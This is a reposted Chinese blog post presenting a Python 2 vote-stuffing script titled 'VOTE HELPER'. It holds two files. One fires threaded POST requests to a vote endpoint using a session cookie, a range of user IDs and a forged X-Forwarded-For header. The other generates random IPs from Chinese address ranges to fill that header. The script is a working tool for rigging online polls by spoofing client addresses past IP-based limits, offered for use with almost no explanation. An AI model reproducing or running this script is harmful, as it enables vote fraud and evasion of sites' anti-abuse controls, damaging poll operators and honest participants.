基于X-Forwarded-For变更的刷票脚本



Vote_ID.py:

#!/usr/bin/env python
import sys
import httplib,urllib
import threading
import re
import IPGen

class vote(threading.Thread):
    
        def __init__(self,number,cookie,key_id):
                threading.Thread.__init__(self,name=str(number))
                self.number=str(number)
                self.cookie=str(cookie)
                self.key_id=str(key_id)
                #self.ip=ip
                
        def run(self):
                #print type(self.ip)
                
                ip=IPGen.IPGen().ip()
                params=urllib.urlencode({'uid':self.number,'key_id':self.key_id})
                headers={'Host':'test.com.cn',
                                'User-Agent':'Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0',
                                'Accept':'application/json, text/javascript, */*; q=0.01',
                                'Accept-Language':'en-us',
                                'Accept-Encoding':'gzip, deflate',
                                'Accept-Charset':'GB2312,utf-8;q=0.7,*;q=0.7',
                                'Connection':'keep-alive',
                                'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
                                'X-Requested-With':'XMLHttpRequest',
                                'Referer':'http://test.com.cn',
                                'Cookie':'PHPSESSID='+self.cookie,
                                'X-Forwarded-For':ip,
                                'Content-Length':'52'

                                }
                conn=httplib.HTTPConnection('test.com.cn')
                conn.request('POST','http://test.com.cn/Vote',params,headers)
                response=conn.getresponse()
                #print response.read();
                if response.status==200:
                        #print response.read();
                        #if (re.findall(r'total',response.read())):
                        #        print self.number+'[OK] Vote Success.'
                        #else:
                        #        print self.number+'[X] This uid has used.'
                        print ip
                        print '[ok]'+self.number+' HELP YOU VOTE SUCCESS!\n'
                else:
                        print '[X]'+self.number+' CAN NOT HELP YOU!\n'
                conn.close()
        
if __name__ == '__main__':
        if len(sys.argv) < 4:
                print('''
                        
                ###########################
                #                         # 
                #     VOTE HELPER         #
                #                         # 
                ###########################\n
                ''')
                print 'Example:Vote.py 20130002 20130005 1rd660ogrf4v1375eubja6ska2 17B92BC5246D5B87F9EA188600633F2A'
                sys.exit()
        else:
                for i in range(int(sys.argv[1]),int(sys.argv[2])):
                        vote(i,sys.argv[3],sys.argv[4]).start()
IPGen.py:

import random

class IPGen():
        def __init__(self):
                pass
        def ip2hex (self,ip):
                return hex(struct.unpack("!I", socket.inet_aton(ip))[0])
    
        def ip2long (self,ip):

                quads = ip.split('.')
                
                if len(quads) == 1:
                        # only a network quad
                        quads = quads + [0, 0, 0]
                elif len(quads) < 4:
                        # partial form, last supplied quad is host address, rest is network
                        host = quads[-1:]
                        quads = quads[:-1] + [0, ] * (4 - len(quads)) + host

                lngip = 0
                for q in quads:
                        lngip = (lngip << 8) | int(q)
                return lngip 

        def long2ip (self,l):
                MIN_IP = 0x0
                MAX_IP = 0xffffffff
                #return socket.inet_ntoa(struct.pack("!L", lint))
                if MAX_IP < l or l < MIN_IP:
                        print 'test1'
                        raise TypeError("expected int between %d and %d inclusive" % (MIN_IP, MAX_IP))
                return '%d.%d.%d.%d' % (l >> 24 & 255, l >> 16 & 255, l >> 8 & 255, l & 255)

        '''
        61.232.0.0-61.237.255.255
        106.80.0.0-106.95.255.255
        121.76.0.0-121.77.255.255
        123.232.0.0-123.235.255.255
        139.196.0.0-139.215.255.255
        171.8.0.0-171.15.255.255
        182.80.0.0-182.92.255.255
        210.25.0.0-210.47.255.255
        222.16.0.0-222.95.255.255
        '''
        def ip(self):
                ip_long = [        
                        [self.ip2long('61.232.0.0'), self.ip2long('61.237.255.255')],
                        [self.ip2long('106.80.0.0'), self.ip2long('106.95.255.255')],
                        [self.ip2long('121.76.0.0'), self.ip2long('121.77.255.255')],
                        [self.ip2long('123.232.0.0'), self.ip2long('123.235.255.255')],
                        [self.ip2long('139.196.0.0'), self.ip2long('139.215.255.255')]
                        ]

                rand_key = random.randint(0,4)
                #print self.long2ip(2130706433)
                #print self.ip2long('61.232.0.0')
                #print self.ip2long('61.237.255.255')
                return self.long2ip(random.randint(ip_long[rand_key][0], ip_long[rand_key][1]))
                #return self.long2ip(-569376768)



转载于:https://my.oschina.net/chinahermit/blog/202711

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值